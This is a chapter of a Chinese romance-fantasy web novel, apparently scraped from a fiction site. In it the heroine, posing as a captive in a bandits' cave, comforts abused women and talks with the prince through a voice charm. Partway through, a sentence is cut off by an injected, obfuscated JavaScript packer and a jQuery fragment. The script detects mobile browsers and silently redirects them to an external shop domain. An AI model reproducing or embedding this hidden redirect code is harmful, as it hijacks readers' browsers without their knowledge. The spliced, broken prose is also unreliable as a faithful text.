文趣网 > 都市小说 > 新婚夜被王爷掐脖子后 > 17. 夫君
    翌日。

    潮湿的石门前,宝酥被人猛地一推,身形踉跄着往前扑去,险些跌在稻草堆上。

    暴富穿着一身山寨小喽啰的粗布黑衣,脸上故意蹭了一块灰,看着有几分凶悍:“走快点!磨蹭什么!真当自己还是高高在上的王妃?进了这山洞,通通都是阶下囚!”

    说罢,她伸手不轻不重地又推了宝酥一把。

    洞内原本呆滞的女子们闻声,齐齐抬眸,一道道目光齐刷刷地落在宝酥身上。

    被一众视线盯着,暴富心底莫名发虚,生怕露了破绽,当即硬着头皮恶声呵斥:“看什么看?都把头低下!再看,小心我把你们眼珠子都挖出来!”

    不远处的暗影里,帝浔戴着半张面具静立不动。

    暴富眼珠子一转,揣着心思凑到他跟前,贱兮兮地说:“大哥,方才新来的那个小丫头生得标致,不如让小弟我也尝尝鲜呗?”

    帝浔缓缓偏头,透过面具的缝隙淡淡睨她一眼。

    暴富脖颈一缩,后背莫名一凉,连忙收敛那副轻浮模样,讪讪摆手:“开玩笑!我就是随口说说!关着,把人老老实实关着,绝不敢乱动!嘿嘿嘿`”

    暴富生怕被帝浔记恨,转头朝着洞内扯着嗓子凶狠喊话:“全都老实待着!不许乱动!谁敢乱动乱看,挨一顿鞭子!”

    喊完,暴富生怕露馅,一溜烟跑回帝浔身侧。

    帝浔伫立在洞口,目光透过昏暗的光线,凝着洞内那道纤细的身影,眼底涌过一丝疼惜。

    暴富伸手悄悄拽了拽帝浔的衣袖,低声催促:“走走走大哥,别愣着了,先去吃饭吧。”

    厚重的石门缓缓关上下,隔绝了里外的光线与声响。

    山洞彻底陷入沉寂,唯有最深处摇曳着一点微弱烛火,勉强在黑暗里撑开一小片光亮。

    宝酥扶着石壁站稳,踉跄朝洞内走去。

    洞内女子望着满身伤痕的宝酥,眼中的恐惧也淡去了几分。

    或许是同处绝境的模样产生了共鸣,相较于凶悍陌生的山匪,满身伤痛的宝酥,反倒让她们生出一丝微弱的安心感。

    宝酥独自找了个角落蹲下,浑身筋骨却像是要散架般胀痛。

    她低低抽了口冷气,小声呢喃:“嘶……好痛。”

    昨夜为了造出一身逼真的伤势,宝酥毫不犹豫从陡峭的山巅滚落至山脚。嶙峋乱石一路磕碰,每一处伤口都是实打实的,没有半分作假。

    途中,帝浔每次将狼狈不堪的她从乱石堆扶起,都一遍遍劝她:“别去了。”

    可宝酥不肯退让,咬牙坚持到最后。

    入洞之前,她也曾暗自怅然地反问自己。好好的北冥城安逸日子不过,偏要来这荒山野岭受罪,何苦呢?若是翠儿还在,定然又要指着她说傻。

    可只要目光落在洞内这些麻木的女子身上,那点迟疑便会瞬间烟消云散。

    她们绝望的模样,总能让宝酥想起翠儿临死前的眼神,想起前世青丘族人惨遭屠戮、血染故土的光景。

    当时,翠儿没能等到救赎,青丘万千族人也没能等到一线生机。那是横亘在宝酥心底,永远无法愈合的伤疤。

    所以这一次,宝酥想要救下这些人。

    宝酥的办法其实很简单却也很执拗。

    她想着,唯有亲身融入这些女子,置身这片暗无天日的囚笼,与她们共渡难熬的时刻,才会有机会慢慢撕开她们心中的阴霾,带她们走出去。

    思绪流转间,宝酥想起众人此前的商议。

    起初帝浔是万般抗拒扮演风万里的。

    众人原先也曾考虑让沈渡顶替,可沈渡气质温和,缺少上位者的压迫感,撑不起匪首的气场。而这些受过重创的女子,本就惧怕男子,尤其畏惧那些手握权势、能够随意掌控他人命运的男人。

    唯有帝浔光站在那,便自带生人勿近的威压,恰好是这群女子心底忌惮的模样。

    纵使满心抗拒,但为了计划周全,帝浔还是应下了这为难的戏份。

    相反暴富就没那么抗拒。

    暴富甚至觉得自己天生适配这个角色,争抢着要扮蛮横小喽啰。还直白打趣,自己本就嗓门大、性子急,无需刻意伪装,只要将平日里的脾气放大几分,便是活脱脱的山匪。

    沈渡、春兰、小荷则是先回了北冥城。宅子要修,医仙要请,日常用度要备,等那些女子愿意走出来的时候,得有地方去。

    宝酥靠着冰凉的石壁缓缓垂眸,心底笃定这是眼下最稳妥周全的法子。

    如今万事俱备,就只差最后一步。

    带她们出来。

    *

    入洞的第一天,很安静。

    二十三名女子,没有一个人主动来搭理宝酥。人人都蜷在自己的小角落里,埋着头或发着呆。

    她们的精神状态很不稳定。宝酥中午想小憩一会儿,却总被她们的胡言乱语打断。她睡不着,索性不睡了,靠着石壁看她们。

    通过静静观察,到了晚上,宝酥大致可以将这些女子归为四类。

    一是时间错乱者。

    这类女子反复掰手指数着日子,数着数着又遗忘。

    二是身体感知者。

    部分女子会无意识摸着自己的嘴和腿说:“疼……好疼……”还有的会蜷成一团说自己无法行走,宝酥便猜想他们的身体机能或许正在退化。

    三是身份迷失者。

    这部分女子不记得自己是谁,一些女子会拉住旁边另一个女子的手问:“我是谁?你记得我是谁吗?我不记得了。”

    四是被害妄想者。

    洞内但凡有人起身走动,轻微的动静都会牵动她们紧绷的神经。她们会死死盯着走动的人,低惶恐呢喃:“这次轮到谁了?是你吗?”

    *

    帝浔和暴富每天会把食物放在石门后面。

    门边其实一直挂着一面铜锣,那些小喽啰说,以前每次送饭送到门口,随后一敲铜锣便意思着“饭到了”。

    头三天,宝酥根本抢不过她们。那些女子跪在地上,用手抓着吃,不够吃就从别人碗里抢。帝浔和暴富准备的食物比风万里给的丰盛得多,可宝酥每次都只能吃剩下的。

    宝酥想着自己饿几顿也死不了。可和她一样吃剩饭的,还有那个孕妇。她行动不便,抢不过别人,只能等。

    宝酥注意着她,她似乎也注意到了宝酥。

    宝酥发现,这些女子骨子里还有温情。孕妇不方便抢,有人会给她留一份,没人动她的。但她还是吃得很少。

    帝浔其实也有私心,每次来收拾的时候都看盘子空荡荡的,就觉得宝酥抢不过或者不愿和她们抢,故而他总会悄悄给她单独加餐。

    帝浔刻意避开众人的规矩,不敲传唤用的铜锣,只抬手轻叩冰冷的石门。如此一来,便唯有宝酥一人知晓门外的动静。

    第四天,帝浔来收食盒的时候,在门内留了一盘东西。他敲了几下门,宝酥走过去。可当宝酥刚靠近石门,还未伸手触碰时,门外那道人影却转身离开。

    素来喜怒不形于色的帝浔,耳根却悄悄染上一层薄红。

    洞内光线昏暗,宝酥蹲下身,轻轻端起门口那只素雅的白瓷小盘。盘中整齐摆放着好多粉嫩小巧的桃花酥,还带着淡淡的糕点香甜。

    “桃花酥?”

    宝酥低声轻喃,拿起一块放入口中。

    甜度还行,就是没有翠儿做的甜。

    宝酥端着盘子走回洞里。她一人分了一块。起初没人敢接,直到有人试探着咬下一口,确认并无异样,余下的人才敢怯生生接过。

    “给。”宝酥递了一块给孕妇。

    孕妇的嘴缝了半边,开合艰难,宝酥便耐心将糕点掰成稀碎小块,送到她唇边。孕妇不敢张嘴,宝酥自己先吃了一块,才道:“尝尝,可好吃了。要是再甜一点,我会更喜欢呢。”

    周遭垂着头的女子闻声抬眸,静静望向宝酥。昏暗烛火落在她脸上,柔和得没有一丝攻击性。

    “你们也都尝尝。”宝酥笑着轻声嘱咐。

    孕妇抿了一小口,眼眶通红。宝酥抬手擦掉她眼角的泪,轻声说:“不能哭。我娘亲说过,怀着小宝宝,要日日舒心,开开心心的才好~”

    “嗯。”孕妇点点头。

    “嗯”是宝酥听到她们说的第一句话。

    *

    第五天,山间下起滂沱大雨。雷声隆隆地滚过山顶,震得洞壁上的碎石簌簌往下掉。

    宝酥蜷在角落里,将身子缩成小小的一团。

    百年前青丘渡天劫那次,她差点没过去。雷一道接一道劈下来,劈在她身上,她连挣扎起身的力气都没有。

    这些年,那段梦魇从未消散。

    宝酥时常坠入相同的梦境:漫天桃林落英纷飞,云层深处雷声暗涌,她倒在满地桃花中,耳畔依稀传来母后的呼唤,唤她站起来……

    又是一声惊雷炸裂,轰鸣震彻山洞。

    宝酥的肩头开始颤抖,温热的泪水也毫无预兆地滑落,砸在冰冷的手背上。

    一旁的孕妇看在眼里,扶着石壁一步一步挪过来,蹲在宝酥面前,伸手轻轻拍她的后背。

    另一名女子也走了过来。

    宝酥记得她。她素来沉默寡言,当时也是她把宝酥抓伤的。

    “是不是怕打雷?”

    宝酥点头,眼泪还是往下掉。

    “不哭,不哭,雷声很快就会过去。”那女子抬手轻轻擦宝酥脸上的泪:“不哭不哭,哭声会把他们引来的。”

    *

    一夜风雨落幕,洞内压抑的气氛悄然松动。

    经过昨夜那场惊雷雨夜,宝酥与这二人的关系无形中亲近了许多。

    趁着洞内安静,宝酥

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600176|205253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    轻声询问起二人的名字。

    那名素来沉默寡言的女子闻言,缓缓抬眸,轻声道:“我叫李暖。”

    一旁的孕妇无法顺畅言语,便缓慢屈起手指,在地面上一笔一划认真描摹,简简单单两个字清晰浮现:阿水。

    宝酥见阿水说话不方便,便在夜里提议帮她们拆除半边的针脚。见阿水五人针脚被拆,众人对宝酥的好感又多了些许。

    翌日天明,众人休养一宿,气色明显好转了不少。

    *

    第七天夜里,宝酥靠着石壁毫无睡意。

    这几日境况比先前好了不少,宝酥偶尔能同洞内几名女子轻声交谈。只是李暖等人清醒的时辰依旧短暂,风万里喂下的药物,留下了难以根除的副作用。自她们不再服食贼人提供的食物后,众人的精神状态才渐渐好转。

    李暖曾同宝酥说,从前她连自己的姓名都记不真切,是这几日才慢慢拾回零碎记忆。

    宝酥心想,这是好兆头。

    想着想着,宝酥缓缓阖上眼,准备小睡片刻。

    也在这时,藏在袖中的传音扣亮起了微光。

    “宝酥。”

    一个男人的声音从里面传了出来。

    “王……”爷子未出口,宝酥瞧了瞧周遭女子,这才发现她们都将目光转向了自己。

    宝酥心想,或许帝浔是顾忌此处人多,才唤她宝酥避人耳目。那她也不能直白称呼他王爷。

    那直呼帝浔?

    嗯不行……

    这生硬的名讳,未免太过生分……

    心想片刻,宝酥想只好红着耳尖,小声道:“夫君……”

    洞外清辉遍洒,夜风微凉。

    独自对月饮酒的帝浔在听到这称呼时微微一顿。

    这是宝酥第一次唤他“夫君”。

    绵软羞怯,轻轻柔柔,纵然带着几分生疏,却格外动听。

    短暂的怔愣过后,帝浔唇角上扬,顺势适应了这声亲昵称呼,道:“今天怎么样?”

    “还好。”宝酥看向四周,女子们的目光依旧凝在她身上,似乎对会发声的玉扣很是好奇。

    帝浔又问:“她们……有没有为难你?”

    宝酥轻声答:“没有。”

    “那就好。”

    宝酥把传音扣贴在耳边,除了夜风,还能清晰听见那头酒盏的轻撞声:“你还在外面?”

    “是啊。”帝浔散漫道:“外面的月色真是美呀。”

    美吗?

    整整七日,宝酥都未曾见过一缕天光,心底自然生出几分向往。她柔声替自己,也替洞内所有人发问:“那……外面的景色是什么样的?”

    那头安静片刻,帝浔放缓语速,特意挑出最温柔的景致娓娓道来。

    “山风载露淌清溪,月色倾杯浸酒堤。此间人间无暗色,清辉一寸满山林。”

    “你这是喝酒了?想不到夫君还是个大才人呢。”宝酥打趣道。

    酒意上头,帝浔有些微醺,自得道:“那可不,当年,本君在京都可是人称为……称为月下酌酒第一客!”

    传音扣这头,宝酥没忍住,心想怕是在吹牛,便笑着揶揄:“真是好大的名头啊。”

    此话一出,那头忽然陷入长久的沉寂。

    宝酥险些以为帝浔已然伴着晚风睡去。

    直到良久,男人的嗓音又再度响起,褪去戏谑,一字一句落在耳畔:“宝酥。”

    “嗯?”宝酥轻轻应了声,心头莫名一紧。

    “坚持住。”

    “我一直在坚持。”宝酥柔声回道。

    “本君会找到你的。”

    猝不及防的情愫漫过来,惹得宝酥耳根发烫,格外不适应。她迟疑着轻声劝道:“嗯那个……夫君还是少喝点吧,酒是穿肠药,伤身……”

    宝酥话音还未落地,便被帝浔淡淡打断。

    他道:“几日过去,本君……还挺想你。”

    “……”

    短短一句竟然这么直白,宝酥整个人都僵在了原地。

    这还是帝浔?

    语毕,传音扣暗了下去。

    三次机会都用完了。

    洞内重归寂静,只剩远处烛火摇曳,映着周遭女子静静投来的目光。

    宝酥勉强定了定神,暗自宽慰自己,那句本君会找到你的,定是有意说给洞里这些绝望度日的女子听的,好给她们心底埋下一缕求生的希望。

    至于最后那句“挺想你”,大抵是他酒后情难自禁的胡言醉语,当不得真。

    宝酥刻意压下心底那点莫名泛起的涟漪,装作若无其事,不敢深究,也不愿细想。

    须臾,一道脚步声缓缓靠近。

    李暖在宝酥身侧安静蹲下,目光落在那枚黯淡的传音扣上,询问道:“刚才里面传出的声音,是你夫君?他……一直在找你吗?”